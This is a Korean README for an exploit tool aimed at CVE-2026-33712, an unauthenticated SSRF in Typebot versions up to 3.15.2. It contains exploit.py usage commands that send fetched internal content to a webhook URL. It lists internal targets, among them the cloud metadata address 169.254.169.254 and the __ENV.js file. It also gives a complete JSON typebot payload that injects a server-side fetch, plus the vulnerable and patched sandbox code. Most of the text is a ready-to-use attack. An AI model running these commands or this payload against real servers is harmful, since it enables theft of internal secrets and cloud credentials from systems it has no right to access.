
CVE-2026-33712 - Typebot <= 3.15.2 isolated-vm 샌드박스 fetch를 통한 인증되지 않은 SSRF
Typebot <= 3.15.2 (3.16.0에서 수정됨)에는 미리보기 채팅 엔드포인트에 인증되지 않은 SSRF(Server-Side Request Forgery) 취약점이 있습니다.
엔드포인트: POST /api/v1/typebots/{typebotId}/preview/startChat
미리보기 엔드포인트는 사용자가 제공한 typebot 정의와 서버측 Code 블록을 허용합니다. isolated-vm 샌드박스 내부에 노출된 fetch() 함수는 일반 HTTP Request 블록을 보호하는 validateHttpReqUrl() SSRF 검증 없이 Node.js 네이티브 fetch를 호출합니다. 이로 인해 모든 SSRF 완화 조치가 우회됩니다.
이 도구는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임지지 않습니다.
__ENV.js를 통한 SMTP_FROM / 관리자 이메일 노출| 파일 | 설명 |
|---|---|
exploit.py | 메인 익스플로잇 스크립트 |
endpoints.txt | 줄당 하나의 URL — 스캔할 SSRF 대상 |
requirements.txt | Python 의존성 |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| 인수 | 설명 |
|---|---|
-t / --target | Typebot 인스턴스 URL(뷰어 또는 빌더). 스킴 기본값은 http:// |
-u / --url | SSRF를 통해 가져올 내부 URL (단일 모드) |
-w / --webhook | 유출된 데이터를 받을 웹훅 URL (또는 WEBHOOK_URL 환경 변수) |
--scan | endpoints.txt의 모든 URL 스캔 |
--detect-viewer | 대상의 /__ENV.js를 탐색하여 NEXT_PUBLIC_VIEWER_URL을 찾아 사용합니다 |
--force | 사전 점검을 건너뛰고 강제 실행합니다 |
--timeout | 요청 타임아웃 (기본값: 20초) |
--delay | 스캔 요청 간 지연 (기본값: 0.3초) |
bot.example.com을 http:// 없이 전달하면 자동으로 앞에 붙습니다.vulnerable, patched (인증 필요), 또는 endpoint_missing (잘못된 URL/버전)으로 분류합니다. --force가 설정되지 않으면 실패 시 조기 종료합니다.endpoints.txt를 읽고 각 URL을 반복하며 콘텐츠를 웹훅으로 유출합니다.한 줄에 하나의 원시 URL. 빈 줄은 무시됩니다. 주석이나 분류는 없습니다.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
packages/variables/src/executeFunction.ts에서 isolated-vm 샌드박스 내부에 노출된 fetch()는 원래 SSRF 검증 없이 Node.js 네이티브 fetch를 호출했습니다:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
수정(커밋 d96f572)은 또한 getTypebot()의 검사 순서를 재배열하여 인증 검증이 사용자 정의 typebot 바로가기 이전에 실행되도록 했으며, 뷰어의 미리보기 엔드포인트를 procedureWithOptionalUser에서 protectedProcedure로 이동했습니다.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
중요: 샌드박스 내부의 fetch()는 이미 .text()를 반환하므로 결과는 Response 객체가 아닌 문자열입니다.